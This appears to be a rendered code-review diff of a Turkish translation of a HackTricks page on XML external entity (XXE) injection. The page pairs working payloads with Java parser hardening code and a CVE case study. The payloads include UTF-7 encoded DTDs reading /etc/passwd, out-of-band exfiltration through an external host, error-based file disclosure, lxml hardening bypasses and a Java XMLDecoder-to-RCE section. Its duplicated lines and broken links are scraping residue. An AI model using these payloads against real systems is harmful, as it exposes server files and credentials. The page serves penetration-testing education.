Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7)%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
|
Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
|
||||||
```xml
|
```xml
|
||||||
<!xml version="1.0" encoding="UTF-7"?-->
|
<!xml version="1.0" encoding="UTF-7"?-->
|
||||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||||
@ -449,7 +444,7 @@ DTD örneği:
|
|||||||
%abt;
|
%abt;
|
||||||
%exfil;
|
%exfil;
|
||||||
```
|
```
|
||||||
## PHP Sargıları
|
## PHP Sarıcıları
|
||||||
|
|
||||||
### Base64
|
### Base64
|
||||||
|
|
||||||
@ -505,7 +500,7 @@ Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bil
|
|||||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren bir kayıt Burp Collaborator'da kaydedilir.
|
Hata olmasına rağmen, Burp Collaborator'da bir etkileşim kaydedilir, bu da dış varlıkla bir etkileşim seviyesini gösterir.
|
||||||
|
|
||||||
Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir:
|
Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir:
|
||||||
```
|
```
|
||||||
@ -519,16 +514,16 @@ Content-Type: application/x-xliff+xml
|
|||||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||||
```
|
```
|
||||||
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaları alabilme yeteneğinin olmamasıdır.
|
Bu yaklaşım, Kullanıcı Aracısının Java 1.8 kullanımını gösterdiğini ortaya koymaktadır. Bu Java sürümünün bilinen bir sınırlaması, Out of Band tekniğini kullanarak /etc/passwd gibi yeni satır karakteri içeren dosyaların alınamamasıdır.
|
||||||
|
|
||||||
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hatayı tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
|
Hata Tabanlı Veri Sızdırma Bu sınırlamayı aşmak için Hata Tabanlı bir yaklaşım kullanılmaktadır. Hedef dosyadan veri içeren bir hata tetiklemek için DTD dosyası aşağıdaki gibi yapılandırılmıştır:
|
||||||
```xml
|
```xml
|
||||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||||
%foo;
|
%foo;
|
||||||
%xxe;
|
%xxe;
|
||||||
```
|
```
|
||||||
Sunucu, önemli bir şekilde mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor ve sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor:
|
Sunucu, mevcut olmayan dosyayı yansıtan bir hata ile yanıt veriyor, bu da sunucunun belirtilen dosyaya erişmeye çalıştığını gösteriyor:
|
||||||
```javascript
|
```javascript
|
||||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||||
```
|
```
|
||||||
@ -568,7 +563,7 @@ Saldırganın sunucusuna basit bir HTTP isteği
|
|||||||
</channel>
|
</channel>
|
||||||
</rss>
|
</rss>
|
||||||
```
|
```
|
||||||
### Dosya oku
|
### Dosyayı oku
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||||
@ -614,7 +609,7 @@ PHP base64 filtresi kullanarak
|
|||||||
```
|
```
|
||||||
## Java XMLDecoder XEE to RCE
|
## Java XMLDecoder XEE to RCE
|
||||||
|
|
||||||
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde edecektir.
|
XMLDecoder, bir XML mesajına dayalı nesneler oluşturan bir Java sınıfıdır. Kötü niyetli bir kullanıcı, bir uygulamanın **readObject** yöntemine rastgele veriler kullanmasını sağlarsa, sunucuda anında kod yürütme elde eder.
|
||||||
|
|
||||||
### Using Runtime().exec()
|
### Using Runtime().exec()
|
||||||
```xml
|
```xml
|
||||||
@ -689,10 +684,10 @@ https://github.com/luisfontes19/xxexploiter
|
|||||||
### Python lxml Parametre-Varlık XXE (Hata Tabanlı Dosya Açığa Çıkarma)
|
### Python lxml Parametre-Varlık XXE (Hata Tabanlı Dosya Açığa Çıkarma)
|
||||||
|
|
||||||
> [!INFO]
|
> [!INFO]
|
||||||
> Python kütüphanesi **lxml**, arka planda **libxml2** kullanır. **lxml 5.4.0 / libxml2 2.13.8** sürümlerinden önce, `resolve_entities=False` olduğunda bile *parametre* varlıklarını genişletir, bu da uygulama `load_dtd=True` ve/veya `resolve_entities=True` etkinleştirildiğinde erişilebilir hale getirir. Bu, yerel dosyaların içeriğini ayrıştırıcı hata mesajına gömen Hata Tabanlı XXE yüklerini mümkün kılar.
|
> Python kütüphanesi **lxml**, arka planda **libxml2** kullanır. **lxml 5.4.0 / libxml2 2.13.8** sürümlerinden önce, `resolve_entities=False` olduğunda bile *parametre* varlıklarını genişletir, bu da uygulama `load_dtd=True` ve/veya `resolve_entities=True` etkinleştirildiğinde erişilebilir hale getirir. Bu, yerel dosyaların içeriğini ayrıştırıcı hata mesajına gömülü hata tabanlı XXE yüklerini mümkün kılar.
|
||||||
|
|
||||||
#### 1. lxml < 5.4.0'ı Sömürme
|
#### 1. lxml < 5.4.0'ı Sömürmek
|
||||||
1. Diskte **tanımsız** bir parametre varlığını tanımlayan veya oluşturan bir *yerel* DTD belirleyin. (örn. `%config_hex;`).
|
1. Diskte **tanımsız** bir parametre varlığını tanımlayan veya oluşturan bir *yerel* DTD belirleyin (örneğin, `%config_hex;`).
|
||||||
2. Aşağıdakileri yapan bir iç DTD oluşturun:
|
2. Aşağıdakileri yapan bir iç DTD oluşturun:
|
||||||
* Yerel DTD'yi `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` ile yükler.
|
* Yerel DTD'yi `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` ile yükler.
|
||||||
* Tanımsız varlığı yeniden tanımlar, böylece:
|
* Tanımsız varlığı yeniden tanımlar, böylece:
|
||||||
@ -716,10 +711,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
|||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Eğer ayrıştırıcı iç alt küme içinde `%`/`&` karakterleri hakkında şikayet ediyorsa, bunları çift kodlayın (`&#x25;` ⇒ `%`) genişlemeyi geciktirmek için.
|
> Eğer ayrıştırıcı iç alt küme içinde `%`/`&` karakterleri hakkında şikayet ediyorsa, bunları çift kodlayın (`&#x25;` ⇒ `%`) genişlemeyi geciktirmek için.
|
||||||
|
|
||||||
#### 2. lxml 5.4.0 sertleştirmesini atlamak (libxml2 hala savunmasız)
|
#### 2. lxml 5.4.0 sertleştirmesini atlama (libxml2 hala savunmasız)
|
||||||
`lxml` ≥ 5.4.0, yukarıdaki gibi *hata* parametre varlıklarını yasaklar, ancak **libxml2** bunların *genel* bir varlık içinde gömülmesine hala izin verir. Hile şudur:
|
`lxml` ≥ 5.4.0, yukarıdaki gibi *hata* parametre varlıklarını yasaklar, ancak **libxml2** bunların *genel* bir varlık içinde gömülmesine hala izin verir. Hile şudur:
|
||||||
1. Dosyayı bir parametre varlığı `%file` içine okuyun.
|
1. Dosyayı bir parametre varlığı `%file` içine okuyun.
|
||||||
2. **Genel** bir varlık `c` oluşturan başka bir parametre varlığı tanımlayın; bu varlığın SYSTEM tanımlayıcısı, `meow://%file;` gibi *mevcut olmayan bir protokol* kullanır.
|
2. **Genel** bir varlık `c` oluşturan başka bir parametre varlığı tanımlayın; bu varlığın SYSTEM tanımlayıcısı, `meow://%file;` gibi *var olmayan bir protokol* kullanır.
|
||||||
3. XML gövdesine `&c;` yerleştirin. Ayrıştırıcı `meow://…` adresini çözmeye çalıştığında başarısız olur ve hata mesajında tam URI'yi – dosya içeriği de dahil – yansıtır.
|
3. XML gövdesine `&c;` yerleştirin. Ayrıştırıcı `meow://…` adresini çözmeye çalıştığında başarısız olur ve hata mesajında tam URI'yi – dosya içeriği de dahil – yansıtır.
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE colors [
|
<!DOCTYPE colors [
|
||||||
@ -741,18 +736,51 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
|||||||
* Kesinlikle gerekli olmadıkça `load_dtd` ve/veya `resolve_entities`'i devre dışı bırakın.
|
* Kesinlikle gerekli olmadıkça `load_dtd` ve/veya `resolve_entities`'i devre dışı bırakın.
|
||||||
* Ham ayrıştırıcı hatalarını istemciye döndürmekten kaçının.
|
* Ham ayrıştırıcı hatalarını istemciye döndürmekten kaçının.
|
||||||
|
|
||||||
## Referanslar
|
### Java DocumentBuilderFactory sertleştirme örneği
|
||||||
|
|
||||||
|
Java uygulamaları genellikle XML'i `DocumentBuilderFactory` kullanarak ayrıştırır. Varsayılan olarak fabrika **harici varlık çözümlemesine** izin verir, bu da ek sertleştirme bayrakları ayarlanmadığında XXE ve SSRF'ye karşı savunmasız hale getirir:
|
||||||
|
```java
|
||||||
|
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||||
|
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||||
|
```
|
||||||
|
Güvenli yapılandırma örneği:
|
||||||
|
```java
|
||||||
|
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||||
|
|
||||||
|
// Completely forbid any DOCTYPE declarations (best-effort defence)
|
||||||
|
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
||||||
|
|
||||||
|
// Disable expansion of external entities
|
||||||
|
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
|
||||||
|
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
||||||
|
|
||||||
|
// Enable "secure processing" which applies additional limits
|
||||||
|
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
|
||||||
|
|
||||||
|
// Defensive extras
|
||||||
|
dbf.setXIncludeAware(false);
|
||||||
|
dbf.setExpandEntityReferences(false);
|
||||||
|
|
||||||
|
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||||
|
```
|
||||||
|
Eğer uygulama DTD'leri dahili olarak desteklemek zorundaysa, `disallow-doctype-decl` özelliğini devre dışı bırakın, ancak **her zaman** iki `external-*-entities` özelliğini `false` olarak ayarlayın. Bu kombinasyon, klasik dosya ifşası yüklerini (`file:///etc/passwd`) ve ağ tabanlı SSRF vektörlerini (`http://169.254.169.254/…`, `jar:` protokolü vb.) engeller.
|
||||||
|
|
||||||
|
Gerçek dünya vaka çalışması: **CVE-2025-27136** Java S3 emülatörü *LocalS3* yukarıda gösterilen savunmasız yapıcıyı kullandı. Kimlik doğrulaması yapılmamış bir saldırgan, `CreateBucketConfiguration` uç noktasına hazırlanmış bir XML gövdesi sağlayarak sunucunun yerel dosyaları (örneğin `/etc/passwd`) HTTP yanıtına gömmesine neden olabilirdi.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
|
||||||
|
|
||||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||||
- Kendi dış DTD'nizi kullanarak HTTP üzerinden bilgi çıkarın: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
- HTTP üzerinden kendi dış DTD'nizi kullanarak bilgi çıkarın: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||||
|
|
||||||
- [Dojo CTF Challenge #42 – Hex Renk Paleti XXE yazısı](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||||
- [lxml hatası #2107279 – Parametre-varlık XXE hala mümkün](https://bugs.launchpad.net/lxml/+bug/2107279)
|
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user